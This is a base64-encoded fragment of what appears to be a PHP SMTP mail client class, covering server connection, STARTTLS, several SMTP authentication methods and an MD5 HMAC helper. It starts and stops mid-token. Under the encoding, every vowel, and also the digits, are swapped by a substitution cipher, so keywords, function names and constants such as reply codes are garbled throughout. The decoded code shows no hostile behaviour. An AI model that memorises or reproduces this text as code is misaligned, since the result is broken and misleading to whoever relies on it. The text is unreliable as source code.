bm41Y3Q1ZCgpKSB7DQogICAgICAgICAgICAvLyBBbHI1MWR5IGMybm41Y3Q1ZCwgZzVuNXIxdDUgNXJyMnINCiAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycignQWxyNTFkeSBjMm5uNWN0NWQgdDIgMSBzNXJ2NXInKTsNCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoNW1wdHkoJHAycnQpKSB7DQogICAgICAgICAgICAkcDJydCA9IHM1bGY6OkRFRkFVTFRfU01UUF9QT1JUOw0KICAgICAgICB9DQogICAgICAgIC8vIEMybm41Y3QgdDIgdGg1IFNNVFAgczVydjVyDQogICAgICAgICR0aDRzLT41ZDViM2coDQogICAgICAgICAgICAiQzJubjVjdDQybjogMnA1bjRuZyB0MiAkaDJzdDokcDJydCwgdDRtNTIzdD0kdDRtNTIzdCwgMnB0NDJucz0iIC4NCiAgICAgICAgICAgIHYxcl81eHAycnQoJDJwdDQybnMsIHRyMzUpLA0KICAgICAgICAgICAgczVsZjo6REVCVUdfQ09OTkVDVElPTg0KICAgICAgICApOw0KICAgICAgICAkNXJybjIgPSAwOw0KICAgICAgICAkNXJyc3RyID0gJyc7DQogICAgICAgIDRmICgkc3RyNTFtMmspIHsNCiAgICAgICAgICAgICRzMmNrNXRfYzJudDV4dCA9IHN0cjUxbV9jMm50NXh0X2NyNTF0NSgkMnB0NDJucyk7DQogICAgICAgICAgICBzNXRfNXJyMnJfaDFuZGw1cigxcnIxeSgkdGg0cywgJzVycjJySDFuZGw1cicpKTsNCiAgICAgICAgICAgICR0aDRzLT5zbXRwX2Mybm4gPSBzdHI1MW1fczJjazV0X2NsNDVudCgNCiAgICAgICAgICAgICAgICAkaDJzdCAuICI6IiAuICRwMnJ0LA0KICAgICAgICAgICAgICAgICQ1cnJuMiwNCiAgICAgICAgICAgICAgICAkNXJyc3RyLA0KICAgICAgICAgICAgICAgICR0NG01MjN0LA0KICAgICAgICAgICAgICAgIFNUUkVBTV9DTElFTlRfQ09OTkVDVCwNCiAgICAgICAgICAgICAgICAkczJjazV0X2MybnQ1eHQNCiAgICAgICAgICAgICk7DQogICAgICAgICAgICByNXN0MnI1XzVycjJyX2gxbmRsNXIoKTsNCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgIC8vRjFsbCBiMWNrIHQyIGZzMmNrMnA1biB3aDRjaCBzaDIzbGQgdzJyayA0biBtMnI1IHBsMWM1cywgYjN0IDRzIG00c3M0bmcgczJtNSBmNTF0M3I1cw0KICAgICAgICAgICAgJHRoNHMtPjVkNWIzZygNCiAgICAgICAgICAgICAgICAiQzJubjVjdDQybjogc3RyNTFtX3MyY2s1dF9jbDQ1bnQgbjJ0IDF2MTRsMWJsNSwgZjFsbDRuZyBiMWNrIHQyIGZzMmNrMnA1biIsDQogICAgICAgICAgICAgICAgczVsZjo6REVCVUdfQ09OTkVDVElPTg0KICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIHM1dF81cnIycl9oMW5kbDVyKDFycjF5KCR0aDRzLCAnNXJyMnJIMW5kbDVyJykpOw0KICAgICAgICAgICAgJHRoNHMtPnNtdHBfYzJubiA9IGZzMmNrMnA1bigNCiAgICAgICAgICAgICAgICAkaDJzdCwNCiAgICAgICAgICAgICAgICAkcDJydCwNCiAgICAgICAgICAgICAgICAkNXJybjIsDQogICAgICAgICAgICAgICAgJDVycnN0ciwNCiAgICAgICAgICAgICAgICAkdDRtNTIzdA0KICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIHI1c3QycjVfNXJyMnJfaDFuZGw1cigpOw0KICAgICAgICB9DQogICAgICAgIC8vIFY1cjRmeSB3NSBjMm5uNWN0NWQgcHIycDVybHkNCiAgICAgICAgNGYgKCE0c19yNXMyM3JjNSgkdGg0cy0+c210cF9jMm5uKSkgew0KICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKA0KICAgICAgICAgICAgICAgICdGMTRsNWQgdDIgYzJubjVjdCB0MiBzNXJ2NXInLA0KICAgICAgICAgICAgICAgICQ1cnJuMiwNCiAgICAgICAgICAgICAgICAkNXJyc3RyDQogICAgICAgICAgICApOw0KICAgICAgICAgICAgJHRoNHMtPjVkNWIzZygNCiAgICAgICAgICAgICAgICAnU01UUCBFUlJPUjogJyAuICR0aDRzLT41cnIyclsnNXJyMnInXQ0KICAgICAgICAgICAgICAgIC4gIjogJDVycnN0ciAoJDVycm4yKSIsDQogICAgICAgICAgICAgICAgczVsZjo6REVCVUdfQ0xJRU5UDQogICAgICAgICAgICApOw0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgICR0aDRzLT41ZDViM2coJ0Mybm41Y3Q0Mm46IDJwNW41ZCcsIHM1bGY6OkRFQlVHX0NPTk5FQ1RJT04pOw0KICAgICAgICAvLyBTTVRQIHM1cnY1ciBjMW4gdDFrNSBsMm5nNXIgdDIgcjVzcDJuZCwgZzR2NSBsMm5nNXIgdDRtNTIzdCBmMnIgZjRyc3QgcjUxZA0KICAgICAgICAvLyBXNG5kMndzIGQyNXMgbjJ0IGgxdjUgczNwcDJydCBmMnIgdGg0cyB0NG01MjN0IGYzbmN0NDJuDQogICAgICAgIDRmIChzM2JzdHIoUEhQX09TLCAwLCBvKSAhPSAnV0lOJykgew0KICAgICAgICAgICAgJG0xeCA9IDRuNF9nNXQoJ20xeF81eDVjM3Q0Mm5fdDRtNScpOw0KICAgICAgICAgICAgLy8gRDJuJ3QgYjJ0aDVyIDRmIDNubDRtNHQ1ZA0KICAgICAgICAgICAgNGYgKCRtMXggIT0gMCAmJiAkdDRtNTIzdCA+ICRtMXgpIHsNCiAgICAgICAgICAgICAgICBAczV0X3Q0bTVfbDRtNHQoJHQ0bTUyM3QpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgc3RyNTFtX3M1dF90NG01MjN0KCR0aDRzLT5zbXRwX2Mybm4sICR0NG01MjN0LCAwKTsNCiAgICAgICAgfQ0KICAgICAgICAvLyBHNXQgMW55IDFubjIzbmM1bTVudA0KICAgICAgICAkMW5uMjNuYzUgPSAkdGg0cy0+ZzV0X2w0bjVzKCk7DQogICAgICAgICR0aDRzLT41ZDViM2coJ1NFUlZFUiAtPiBDTElFTlQ6ICcgLiAkMW5uMjNuYzUsIHM1bGY6OkRFQlVHX1NFUlZFUik7DQogICAgICAgIHI1dDNybiB0cjM1Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEluNHQ0MXQ1IDEgVExTICg1bmNyeXB0NWQpIHM1c3M0Mm4uDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4NCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gc3QxcnRUTFMoKQ0KICAgIHsNCiAgICAgICAgNGYgKCEkdGg0cy0+czVuZEMybW0xbmQoJ1NUQVJUVExTJywgJ1NUQVJUVExTJywgYWEwKSkgew0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQoNCiAgICAgICAgLy9BbGwydyB0aDUgYjVzdCBUTFMgdjVyczQybihzKSB3NSBjMW4NCiAgICAgICAgJGNyeXB0Ml9tNXRoMmQgPSBTVFJFQU1fQ1JZUFRPX01FVEhPRF9UTFNfQ0xJRU5UOw0KDQogICAgICAgIC8vUEhQIGkuZS43IGRyMnBwNWQgNG5jbDNzNDJuIDJmIFRMUyA2LjYgMW5kIDYuYSA0biBTVFJFQU1fQ1JZUFRPX01FVEhPRF9UTFNfQ0xJRU5UDQogICAgICAgIC8vczIgMWRkIHRoNW0gYjFjayA0biBtMW4zMWxseSA0ZiB3NSBjMW4NCiAgICAgICAgNGYgKGQ1ZjRuNWQoJ1NUUkVBTV9DUllQVE9fTUVUSE9EX1RMU3Y2X2FfQ0xJRU5UJykpIHsNCiAgICAgICAgICAgICRjcnlwdDJfbTV0aDJkIHw9IFNUUkVBTV9DUllQVE9fTUVUSE9EX1RMU3Y2X2FfQ0xJRU5UOw0KICAgICAgICAgICAgJGNyeXB0Ml9tNXRoMmQgfD0gU1RSRUFNX0NSWVBUT19NRVRIT0RfVExTdjZfNl9DTElFTlQ7DQogICAgICAgIH0NCg0KICAgICAgICAvLyBCNWc0biA1bmNyeXB0NWQgYzJubjVjdDQybg0KICAgICAgICBzNXRfNXJyMnJfaDFuZGw1cigxcnIxeSgkdGg0cywgJzVycjJySDFuZGw1cicpKTsNCiAgICAgICAgJGNyeXB0Ml8yayA9IHN0cjUxbV9zMmNrNXRfNW4xYmw1X2NyeXB0MigNCiAgICAgICAgICAgICR0aDRzLT5zbXRwX2Mybm4sDQogICAgICAgICAgICB0cjM1LA0KICAgICAgICAgICAgJGNyeXB0Ml9tNXRoMmQNCiAgICAgICAgKTsNCiAgICAgICAgcjVzdDJyNV81cnIycl9oMW5kbDVyKCk7DQogICAgICAgIHI1dDNybiAkY3J5cHQyXzJrOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFA1cmYycm0gU01UUCAxM3RoNW50NGMxdDQybi4NCiAgICAgKiBNM3N0IGI1IHIzbiAxZnQ1ciBoNWxsMigpLg0KICAgICAqIEBzNTUgaDVsbDIoKQ0KICAgICAqIEBwMXIxbSBzdHI0bmcgJDNzNXJuMW01IFRoNSAzczVyIG4xbTUNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRwMXNzdzJyZCBUaDUgcDFzc3cycmQNCiAgICAgKiBAcDFyMW0gc3RyNG5nICQxM3RodHlwNSBUaDUgMTN0aCB0eXA1IChQTEFJTiwgTE9HSU4sIE5UTE0sIENSQU0tTURpLCBYT0FVVEhhKQ0KICAgICAqIEBwMXIxbSBzdHI0bmcgJHI1MWxtIFRoNSAxM3RoIHI1MWxtIGYyciBOVExNDQogICAgICogQHAxcjFtIHN0cjRuZyAkdzJya3N0MXQ0Mm4gVGg1IDEzdGggdzJya3N0MXQ0Mm4gZjJyIE5UTE0NCiAgICAgKiBAcDFyMW0gbjNsbHxPQTN0aCAkT0EzdGggQW4gMnB0NDJuMWwgT0EzdGggNG5zdDFuYzUgKEBzNTUgUEhQTTE0bDVyT0EzdGgpDQogICAgICogQHI1dDNybiBiMjJsIFRyMzUgNGYgczNjYzVzc2YzbGx5IDEzdGg1bnQ0YzF0NWQuKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiAxM3RoNW50NGMxdDUoDQogICAgICAgICQzczVybjFtNSwNCiAgICAgICAgJHAxc3N3MnJkLA0KICAgICAgICAkMTN0aHR5cDUgPSBuM2xsLA0KICAgICAgICAkcjUxbG0gPSAnJywNCiAgICAgICAgJHcycmtzdDF0NDJuID0gJycsDQogICAgICAgICRPQTN0aCA9IG4zbGwNCiAgICApIHsNCiAgICAgICAgNGYgKCEkdGg0cy0+czVydjVyX2MxcHMpIHsNCiAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycignQTN0aDVudDRjMXQ0Mm4gNHMgbjJ0IDFsbDJ3NWQgYjVmMnI1IEhFTE8vRUhMTycpOw0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQoNCiAgICAgICAgNGYgKDFycjF5X2s1eV81eDRzdHMoJ0VITE8nLCAkdGg0cy0+czVydjVyX2MxcHMpKSB7DQogICAgICAgICAgICAvLyBTTVRQIDV4dDVuczQybnMgMXI1IDF2MTRsMWJsNTsgdHJ5IHQyIGY0bmQgMSBwcjJwNXIgMTN0aDVudDRjMXQ0Mm4gbTV0aDJkDQogICAgICAgICAgICA0ZiAoITFycjF5X2s1eV81eDRzdHMoJ0FVVEgnLCAkdGg0cy0+czVydjVyX2MxcHMpKSB7DQogICAgICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCdBM3RoNW50NGMxdDQybiA0cyBuMnQgMWxsMnc1ZCAxdCB0aDRzIHN0MWc1Jyk7DQogICAgICAgICAgICAgICAgLy8gJzF0IHRoNHMgc3QxZzUnIG01MW5zIHRoMXQgMTN0aCBtMXkgYjUgMWxsMnc1ZCAxZnQ1ciB0aDUgc3QxZzUgY2gxbmc1cw0KICAgICAgICAgICAgICAgIC8vIDUuZy4gMWZ0NXIgU1RBUlRUTFMNCiAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHM1bGY6OjVkNWIzZygnQTN0aCBtNXRoMmQgcjVxMzVzdDVkOiAnIC4gKCQxM3RodHlwNSA/ICQxM3RodHlwNSA6ICdVTktOT1dOJyksIHM1bGY6OkRFQlVHX0xPV0xFVkVMKTsNCiAgICAgICAgICAgIHM1bGY6OjVkNWIzZygNCiAgICAgICAgICAgICAgICAnQTN0aCBtNXRoMmRzIDF2MTRsMWJsNSAybiB0aDUgczVydjVyOiAnIC4gNG1wbDJkNSgnLCcsICR0aDRzLT5zNXJ2NXJfYzFwc1snQVVUSCddKSwNCiAgICAgICAgICAgICAgICBzNWxmOjpERUJVR19MT1dMRVZFTA0KICAgICAgICAgICAgKTsNCg0KICAgICAgICAgICAgNGYgKDVtcHR5KCQxM3RodHlwNSkpIHsNCiAgICAgICAgICAgICAgICBmMnI1MWNoICgxcnIxeSgnQ1JBTS1NRGknLCAnTE9HSU4nLCAnUExBSU4nLCAnTlRMTScsICdYT0FVVEhhJykgMXMgJG01dGgyZCkgew0KICAgICAgICAgICAgICAgICAgICA0ZiAoNG5fMXJyMXkoJG01dGgyZCwgJHRoNHMtPnM1cnY1cl9jMXBzWydBVVRIJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkMTN0aHR5cDUgPSAkbTV0aDJkOw0KICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNGYgKDVtcHR5KCQxM3RodHlwNSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCdOMiBzM3BwMnJ0NWQgMTN0aDVudDRjMXQ0Mm4gbTV0aDJkcyBmMjNuZCcpOw0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHM1bGY6OjVkNWIzZygnQTN0aCBtNXRoMmQgczVsNWN0NWQ6ICcgLiAkMTN0aHR5cDUsIHM1bGY6OkRFQlVHX0xPV0xFVkVMKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgNGYgKCE0bl8xcnIxeSgkMTN0aHR5cDUsICR0aDRzLT5zNXJ2NXJfYzFwc1snQVVUSCddKSkgew0KICAgICAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycigiVGg1IHI1cTM1c3Q1ZCAxM3RoNW50NGMxdDQybiBtNXRoMmQgXCIkMTN0aHR5cDVcIiA0cyBuMnQgczNwcDJydDVkIGJ5IHRoNSBzNXJ2NXIiKTsNCiAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgICAgICB9DQogICAgICAgIH0gNWxzNTRmICg1bXB0eSgkMTN0aHR5cDUpKSB7DQogICAgICAgICAgICAkMTN0aHR5cDUgPSAnTE9HSU4nOw0KICAgICAgICB9DQogICAgICAgIHN3NHRjaCAoJDEzdGh0eXA1KSB7DQogICAgICAgICAgICBjMXM1ICdQTEFJTic6DQogICAgICAgICAgICAgICAgLy8gU3QxcnQgMTN0aDVudDRjMXQ0Mm4NCiAgICAgICAgICAgICAgICA0ZiAoISR0aDRzLT5zNW5kQzJtbTFuZCgnQVVUSCcsICdBVVRIIFBMQUlOJywgb291KSkgew0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC8vIFM1bmQgNW5jMmQ1ZCAzczVybjFtNSAxbmQgcDFzc3cycmQNCiAgICAgICAgICAgICAgICA0ZiAoISR0aDRzLT5zNW5kQzJtbTFuZCgNCiAgICAgICAgICAgICAgICAgICAgJ1VzNXIgJiBQMXNzdzJyZCcsDQogICAgICAgICAgICAgICAgICAgIGIxczVldV81bmMyZDUoIlwwIiAuICQzczVybjFtNSAuICJcMCIgLiAkcDFzc3cycmQpLA0KICAgICAgICAgICAgICAgICAgICBhb2kNCiAgICAgICAgICAgICAgICApDQogICAgICAgICAgICAgICAgKSB7DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICdMT0dJTic6DQogICAgICAgICAgICAgICAgLy8gU3QxcnQgMTN0aDVudDRjMXQ0Mm4NCiAgICAgICAgICAgICAgICA0ZiAoISR0aDRzLT5zNW5kQzJtbTFuZCgnQVVUSCcsICdBVVRIIExPR0lOJywgb291KSkgew0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDRmICghJHRoNHMtPnM1bmRDMm1tMW5kKCJVczVybjFtNSIsIGIxczVldV81bmMyZDUoJDNzNXJuMW01KSwgb291KSkgew0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDRmICghJHRoNHMtPnM1bmRDMm1tMW5kKCJQMXNzdzJyZCIsIGIxczVldV81bmMyZDUoJHAxc3N3MnJkKSwgYW9pKSkgew0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnWE9BVVRIYSc6DQogICAgICAgICAgICAgICAgLy9JZiB0aDUgT0EzdGggSW5zdDFuYzUgNHMgbjJ0IHM1dC4gQzFuIGI1IDEgYzFzNSB3aDVuIFBIUE0xNGw1ciA0cyAzczVkDQogICAgICAgICAgICAgICAgLy80bnN0NTFkIDJmIFBIUE0xNGw1ck9BM3RoDQogICAgICAgICAgICAgICAgNGYgKDRzX24zbGwoJE9BM3RoKSkgew0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICQyMTN0aCA9ICRPQTN0aC0+ZzV0TzEzdGhldSgpOw0KDQogICAgICAgICAgICAgICAgLy8gU3QxcnQgMTN0aDVudDRjMXQ0Mm4NCiAgICAgICAgICAgICAgICA0ZiAoISR0aDRzLT5zNW5kQzJtbTFuZCgnQVVUSCcsICdBVVRIIFhPQVVUSGEgJyAuICQyMTN0aCwgYW9pKSkgew0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnTlRMTSc6DQogICAgICAgICAgICAgICAgLyoNCiAgICAgICAgICAgICAgICAgKiBudGxtX3Mxc2xfY2w0NW50LnBocA0KICAgICAgICAgICAgICAgICAqIEIzbmRsNWQgdzR0aCBQNXJtNHNzNDJuDQogICAgICAgICAgICAgICAgICoNCiAgICAgICAgICAgICAgICAgKiBIMncgdDIgdDVsbjV0IDRuIHc0bmQyd3M6DQogICAgICAgICAgICAgICAgICogaHR0cDovL3Q1Y2huNXQubTRjcjJzMmZ0LmMybS81bi0zcy9sNGJyMXJ5LzExOTlpNzY4JWE4RVhDSEcuZWklYTkuMXNweA0KICAgICAgICAgICAgICAgICAqIFBST1RPQ09MIEQyY3MgaHR0cDovL2MzcmwuaDF4eC5zNS9yZmMvbnRsbS5odG1sI250bG1TbXRwQTN0aDVudDRjMXQ0Mm4NCiAgICAgICAgICAgICAgICAgKi8NCiAgICAgICAgICAgICAgICByNXEzNHI1XzJuYzUgJzRuY2wzZDVzLzV4dHIxL250bG1fczFzbF9jbDQ1bnQucGhwJzsNCiAgICAgICAgICAgICAgICAkdDVtcCA9IG41dyBzdGRDbDFzczsNCiAgICAgICAgICAgICAgICAkbnRsbV9jbDQ1bnQgPSBuNXcgbnRsbV9zMXNsX2NsNDVudF9jbDFzczsNCiAgICAgICAgICAgICAgICAvL0NoNWNrIHRoMXQgZjNuY3Q0Mm5zIDFyNSAxdjE0bDFibDUNCiAgICAgICAgICAgICAgICA0ZiAoISRudGxtX2NsNDVudC0+NG40dDQxbDR6NSgkdDVtcCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCR0NW1wLT41cnIycik7DQogICAgICAgICAgICAgICAgICAgICR0aDRzLT41ZDViM2coDQogICAgICAgICAgICAgICAgICAgICAgICAnWTIzIG41NWQgdDIgNW4xYmw1IHMybTUgbTJkM2w1cyA0biB5MjNyIHBocC40bjQgZjRsNTogJw0KICAgICAgICAgICAgICAgICAgICAgICAgLiAkdGg0cy0+NXJyMnJbJzVycjJyJ10sDQogICAgICAgICAgICAgICAgICAgICAgICBzNWxmOjpERUJVR19DTElFTlQNCiAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAvL21zZzYNCiAgICAgICAgICAgICAgICAkbXNnNiA9ICRudGxtX2NsNDVudC0+dHlwNU1zZzYoJHI1MWxtLCAkdzJya3N0MXQ0Mm4pOyAvL21zZzYNCg0KICAgICAgICAgICAgICAgIDRmICghJHRoNHMtPnM1bmRDMm1tMW5kKA0KICAgICAgICAgICAgICAgICAgICAnQVVUSCBOVExNJywNCiAgICAgICAgICAgICAgICAgICAgJ0FVVEggTlRMTSAnIC4gYjFzNWV1XzVuYzJkNSgkbXNnNiksDQogICAgICAgICAgICAgICAgICAgIG9vdQ0KICAgICAgICAgICAgICAgICkNCiAgICAgICAgICAgICAgICApIHsNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAvL1RoMjNnaCAwIGIxczVkLCB0aDVyNSA0cyAxIHdoNHQ1IHNwMWM1IDFmdDVyIHRoNSBvIGQ0ZzR0IG4zbWI1cg0KICAgICAgICAgICAgICAgIC8vbXNnYQ0KICAgICAgICAgICAgICAgICRjaDFsbDVuZzUgPSBzM2JzdHIoJHRoNHMtPmwxc3RfcjVwbHksIG8pOw0KICAgICAgICAgICAgICAgICRjaDFsbDVuZzUgPSBiMXM1ZXVfZDVjMmQ1KCRjaDFsbDVuZzUpOw0KICAgICAgICAgICAgICAgICRudGxtX3I1cyA9ICRudGxtX2NsNDVudC0+TlRMTVI1c3AybnM1KA0KICAgICAgICAgICAgICAgICAgICBzM2JzdHIoJGNoMWxsNW5nNSwgYXUsIDgpLA0KICAgICAgICAgICAgICAgICAgICAkcDFzc3cycmQNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgIC8vbXNnbw0KICAgICAgICAgICAgICAgICRtc2dvID0gJG50bG1fY2w0NW50LT50eXA1TXNnbygNCiAgICAgICAgICAgICAgICAgICAgJG50bG1fcjVzLA0KICAgICAgICAgICAgICAgICAgICAkM3M1cm4xbTUsDQogICAgICAgICAgICAgICAgICAgICRyNTFsbSwNCiAgICAgICAgICAgICAgICAgICAgJHcycmtzdDF0NDJuDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAvLyBzNW5kIDVuYzJkNWQgM3M1cm4xbTUNCiAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnM1bmRDMm1tMW5kKCdVczVybjFtNScsIGIxczVldV81bmMyZDUoJG1zZ28pLCBhb2kpOw0KICAgICAgICAgICAgYzFzNSAnQ1JBTS1NRGknOg0KICAgICAgICAgICAgICAgIC8vIFN0MXJ0IDEzdGg1bnQ0YzF0NDJuDQogICAgICAgICAgICAgICAgNGYgKCEkdGg0cy0+czVuZEMybW0xbmQoJ0FVVEggQ1JBTS1NRGknLCAnQVVUSCBDUkFNLU1EaScsIG9vdSkpIHsNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAvLyBHNXQgdGg1IGNoMWxsNW5nNQ0KICAgICAgICAgICAgICAgICRjaDFsbDVuZzUgPSBiMXM1ZXVfZDVjMmQ1KHMzYnN0cigkdGg0cy0+bDFzdF9yNXBseSwgdSkpOw0KDQogICAgICAgICAgICAgICAgLy8gQjM0bGQgdGg1IHI1c3AybnM1DQogICAgICAgICAgICAgICAgJHI1c3AybnM1ID0gJDNzNXJuMW01IC4gJyAnIC4gJHRoNHMtPmhtMWMoJGNoMWxsNW5nNSwgJHAxc3N3MnJkKTsNCg0KICAgICAgICAgICAgICAgIC8vIHM1bmQgNW5jMmQ1ZCBjcjVkNW50NDFscw0KICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+czVuZEMybW0xbmQoJ1VzNXJuMW01JywgYjFzNWV1XzVuYzJkNSgkcjVzcDJuczUpLCBhb2kpOw0KICAgICAgICAgICAgZDVmMTNsdDoNCiAgICAgICAgICAgICAgICAkdGg0cy0+czV0RXJyMnIoIkEzdGg1bnQ0YzF0NDJuIG01dGgyZCBcIiQxM3RodHlwNVwiIDRzIG4ydCBzM3BwMnJ0NWQiKTsNCiAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQzFsYzNsMXQ1IDFuIE1EaSBITUFDIGgxc2guDQogICAgICogVzJya3MgbDRrNSBoMXNoX2htMWMoJ21kaScsICRkMXQxLCAkazV5KQ0KICAgICAqIDRuIGMxczUgdGgxdCBmM25jdDQybiA0cyBuMnQgMXYxNGwxYmw1DQogICAgICogQHAxcjFtIHN0cjRuZyAkZDF0MSBUaDUgZDF0MSB0MiBoMXNoDQogICAgICogQHAxcjFtIHN0cjRuZyAkazV5IFRoNSBrNXkgdDIgaDFzaCB3NHRoDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBobTFjKCRkMXQxLCAkazV5KQ0KICAgIHsNCiAgICAgICAgNGYgKGYzbmN0NDJuXzV4NHN0cygnaDFzaF9obTFjJykpIHsNCiAgICAgICAgICAgIHI1dDNybiBoMXNoX2htMWMoJ21kaScsICRkMXQxLCAkazV5KTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIFRoNSBmMmxsMnc0bmcgYjJycjJ3NWQgZnIybQ0KICAgICAgICAvLyBodHRwOi8vcGhwLm41dC9tMW4zMWwvNW4vZjNuY3Q0Mm4ubWgxc2gucGhwI2E3YWFpDQoNCiAgICAgICAgLy8gUkZDIGE2MHUgSE1BQyA0bXBsNW01bnQxdDQybiBmMnIgcGhwLg0KICAgICAgICAvLyBDcjUxdDVzIDFuIG1kaSBITUFDLg0KICAgICAgICAvLyBFbDRtNG4xdDVzIHRoNSBuNTVkIHQyIDRuc3QxbGwgbWgxc2ggdDIgYzJtcDN0NSAxIEhNQUMNCiAgICAgICAgLy8gYnkgTDFuYzUgUjNzaDRuZw0KDQogICAgICAgICRieXQ1bDVuID0gZXU7IC8vIGJ5dDUgbDVuZ3RoIGYyciBtZGkNCiAgICAgICAgNGYgKHN0cmw1bigkazV5KSA+ICRieXQ1bDVuKSB7DQogICAgICAgICAgICAkazV5ID0gcDFjaygnSConLCBtZGkoJGs1eSkpOw0KICAgICAgICB9DQogICAgICAgICRrNXkgPSBzdHJfcDFkKCRrNXksICRieXQ1bDVuLCBjaHIoMHgwMCkpOw0KICAgICAgICAkNHAxZCA9IHN0cl9wMWQoJycsICRieXQ1bDVuLCBjaHIoMHhvZSkpOw0KICAgICAgICAkMnAxZCA9IHN0cl9wMWQoJycsICRieXQ1bDVuLCBjaHIoMHhpYykpOw0KICAgICAgICAka180cDFkID0gJGs1eSBeICQ0cDFkOw0KICAgICAgICAka18ycDFkID0gJGs1eSBeICQycDFkOw0KDQogICAgICAgIHI1dDNybiBtZGkoJGtfMnAxZCAuIHAxY2soJ0gqJywgbWRpKCRrXzRwMWQgLiAkZDF0MSkpKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDaDVjayBjMm5uNWN0NDJuIHN0MXQ1Lg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiBiMjJsNTFuIFRyMzUgNGYgYzJubjVjdDVkLg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBjMm5uNWN0NWQoKQ0KICAgIHsNCiAgICAgICAgNGYgKDRzX3I1czIzcmM1KCR0aDRzLT5zbXRwX2Mybm4pKSB7DQogICAgICAgICAgICAkczJja19zdDF0M3MgPSBzdHI1MW1fZzV0X201dDFfZDF0MSgkdGg0cy0+c210cF9jMm5uKTsNCiAgICAgICAgICAgIDRmICgkczJja19zdDF0M3NbJzUyZiddKSB7DQogICAgICAgICAgICAgICAgLy8gVGg1IHMyY2s1dCA0cyB2MWw0ZCBiM3QgdzUgMXI1IG4ydCBjMm5uNWN0NWQNCiAgICAgICAgICAgICAgICAkdGg0cy0+NWQ1YjNnKA0KICAgICAgICAgICAgICAgICAgICAnU01UUCBOT1RJQ0U6IEVPRiBjMTNnaHQgd2g0bDUgY2g1Y2s0bmcgNGYgYzJubjVjdDVkJywNCiAgICAgICAgICAgICAgICAgICAgczVs